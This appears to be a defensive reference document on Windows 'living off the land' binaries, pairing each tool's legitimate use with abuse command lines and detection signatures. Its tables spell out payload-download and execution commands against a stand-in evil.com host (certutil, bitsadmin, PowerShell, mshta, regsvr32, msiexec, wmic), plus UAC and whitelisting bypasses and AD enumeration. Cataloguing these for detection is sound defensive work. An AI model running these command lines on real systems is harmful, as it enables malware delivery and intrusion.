# Living Off the Land Binaries (LOLBins) Reference

Comprehensive reference of Windows binaries that can be abused for malicious
purposes. Each entry includes legitimate use, malicious abuse patterns,
example command lines, and detection signatures.

## Overview

LOLBins (Living Off the Land Binaries) are legitimate, signed Windows binaries
that attackers abuse for downloading files, executing code, bypassing security
controls, or performing other malicious actions. Because these binaries are
trusted by the operating system and security tools, their abuse is difficult
to detect without behavioral context.

## Download / File Transfer

### certutil.exe
- **Legitimate use**: Certificate and CA management
- **Location**: `C:\Windows\System32\certutil.exe`
- **Abuse**: Download files, encode/decode base64

| Pattern | Command | Risk |
|---|---|---|
| URL download | `certutil -urlcache -split -f http://evil.com/payload.exe output.exe` | High |
| Base64 decode | `certutil -decode encoded.txt decoded.exe` | Medium |
| Base64 encode | `certutil -encode input.exe encoded.txt` | Medium |
| Hash calculation | `certutil -hashfile file.exe SHA256` | Low (legitimate) |

**Detection**: Alert on `-urlcache` with `-f` flag, or `-decode`/`-encode` with executable output.

### bitsadmin.exe
- **Legitimate use**: Background Intelligent Transfer Service management
- **Location**: `C:\Windows\System32\bitsadmin.exe`
- **Abuse**: Stealthy file downloads, persistent download jobs

| Pattern | Command | Risk |
|---|---|---|
| File download | `bitsadmin /transfer job /download /priority high http://evil.com/p.exe C:\p.exe` | High |
| Persistent job | `bitsadmin /create job && bitsadmin /addfile job http://evil.com/p.exe C:\p.exe && bitsadmin /SetNotifyCmdLine job C:\p.exe NULL && bitsadmin /resume job` | High |

**Detection**: Monitor for `/transfer`, `/addfile`, and `/SetNotifyCmdLine` parameters.

### PowerShell
- **Legitimate use**: System administration and scripting
- **Location**: `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`

| Pattern | Command | Risk |
|---|---|---|
| WebClient download | `powershell -c "(New-Object Net.WebClient).DownloadFile('http://evil.com/p.exe','p.exe')"` | High |
| Invoke-WebRequest | `powershell -c "Invoke-WebRequest -Uri http://evil.com/p.exe -OutFile p.exe"` | High |
| Start-BitsTransfer | `powershell -c "Start-BitsTransfer -Source http://evil.com/p.exe -Dest p.exe"` | High |

## Code Execution

### mshta.exe
- **Legitimate use**: Execute HTML Applications (.hta)
- **Location**: `C:\Windows\System32\mshta.exe`
- **Abuse**: Execute inline scripts, download remote HTA files

| Pattern | Command | Risk |
|---|---|---|
| Inline VBScript | `mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ..."":close")` | High |
| Remote HTA | `mshta http://evil.com/payload.hta` | High |
| Inline JavaScript | `mshta javascript:a=GetObject("script:http://evil.com/payload.sct").Exec()` | High |

**Detection**: Any mshta.exe execution with `vbscript:`, `javascript:`, or HTTP URLs.

### rundll32.exe
- **Legitimate use**: Execute functions exported from DLLs
- **Location**: `C:\Windows\System32\rundll32.exe`

| Pattern | Command | Risk |
|---|---|---|
| JavaScript exec | `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell");h.Run("powershell ...");` | High |
| Remote DLL | `rundll32.exe \\attacker\share\payload.dll,EntryPoint` | High |
| Shell execute | `rundll32.exe shell32.dll,ShellExec_RunDLL "payload.exe"` | Medium |
| URL file exec | `rundll32.exe url.dll,OpenURL "payload.hta"` | High |

### regsvr32.exe
- **Legitimate use**: Register/unregister COM DLLs
- **Location**: `C:\Windows\System32\regsvr32.exe`

| Pattern | Command | Risk |
|---|---|---|
| Squiblydoo | `regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll` | High |
| Local scriptlet | `regsvr32 /s /n /u /i:C:\temp\payload.sct scrobj.dll` | High |

**Detection**: Alert on `/s /n /u /i:` parameter combination, especially with URLs.

### msiexec.exe
- **Legitimate use**: Windows Installer package management
- **Location**: `C:\Windows\System32\msiexec.exe`

| Pattern | Command | Risk |
|---|---|---|
| Remote install | `msiexec /q /i http://evil.com/payload.msi` | High |
| DLL execution | `msiexec /y C:\path\payload.dll` | High |

### wmic.exe
- **Legitimate use**: WMI command-line interface
- **Location**: `C:\Windows\System32\wbem\wmic.exe`

| Pattern | Command | Risk |
|---|---|---|
| Process creation | `wmic process call create "payload.exe"` | High |
| XSL execution | `wmic os get /format:"http://evil.com/payload.xsl"` | High |
| Remote execution | `wmic /node:TARGET process call create "cmd.exe /c ..."` | High |

### cmstp.exe
- **Legitimate use**: Connection Manager Profile Installer
- **Location**: `C:\Windows\System32\cmstp.exe`

| Pattern | Command | Risk |
|---|---|---|
| UAC bypass | `cmstp.exe /ni /s C:\temp\payload.inf` | High |

### msdt.exe (Follina - CVE-2022-30190)
- **Legitimate use**: Microsoft Support Diagnostic Tool
- **Location**: `C:\Windows\System32\msdt.exe`

| Pattern | Command | Risk |
|---|---|---|
| Follina exploit | `msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebsowseURL=..."` | High |

## Application Whitelisting Bypass

### msbuild.exe
- **Legitimate use**: .NET project build tool
- **Location**: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe`

| Pattern | Command | Risk |
|---|---|---|
| Inline task exec | `msbuild.exe payload.xml` (with inline C# task) | High |
| Arbitrary code | `msbuild.exe payload.csproj` (with embedded code) | High |

### installutil.exe
- **Legitimate use**: .NET assembly installer
- **Location**: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe`

| Pattern | Command | Risk |
|---|---|---|
| Bypass execution | `installutil.exe /logfile= /LogToConsole=false /U payload.dll` | High |

### regasm.exe / regsvcs.exe
- **Legitimate use**: .NET COM registration utilities

| Pattern | Command | Risk |
|---|---|---|
| Assembly exec | `regasm.exe /U payload.dll` | High |
| COM registration | `regsvcs.exe payload.dll` | High |

## Reconnaissance / Data Collection

### nltest.exe
- **Legitimate use**: Network diagnostics
- **Abuse**: Domain trust enumeration

| Pattern | Command | Risk |
|---|---|---|
| Trust enum | `nltest /domain_trusts /all_trusts` | Medium |
| DC listing | `nltest /dclist:domain.com` | Medium |

### dsquery.exe
- **Legitimate use**: Active Directory queries
- **Abuse**: AD enumeration

### csvde.exe / ldifde.exe
- **Legitimate use**: AD import/export
- **Abuse**: Bulk AD data exfiltration

## Detection Strategies

### Sysmon Configuration
Monitor process creation (Event ID 1) for all listed binaries with suspicious
command-line patterns. Recommended Sysmon rules:
- Log all executions of: `mshta`, `certutil`, `rundll32`, `regsvr32`, `wmic`,
  `msiexec`, `bitsadmin`, `cmstp`, `msdt`, `msbuild`, `installutil`
- Filter on command-line arguments for known abuse patterns

### Parent-Child Process Relationships
Suspicious parent-child combinations:
- `WINWORD.EXE` -> `powershell.exe` or `cmd.exe`
- `outlook.exe` -> `mshta.exe` or `wscript.exe`
- `explorer.exe` -> `certutil.exe` with `-urlcache`
- `svchost.exe` -> `rundll32.exe` with unusual arguments

### Command-Line Length
Legitimate LOLBin usage typically has short, simple command lines. Extremely
long command lines (>500 characters) are often indicators of obfuscated
malicious commands.

## References

- LOLBAS Project: https://lolbas-project.github.io/
- MITRE ATT&CK - Signed Binary Proxy Execution: https://attack.mitre.org/techniques/T1218/
- MITRE ATT&CK - System Binary Proxy Execution: https://attack.mitre.org/techniques/T1218/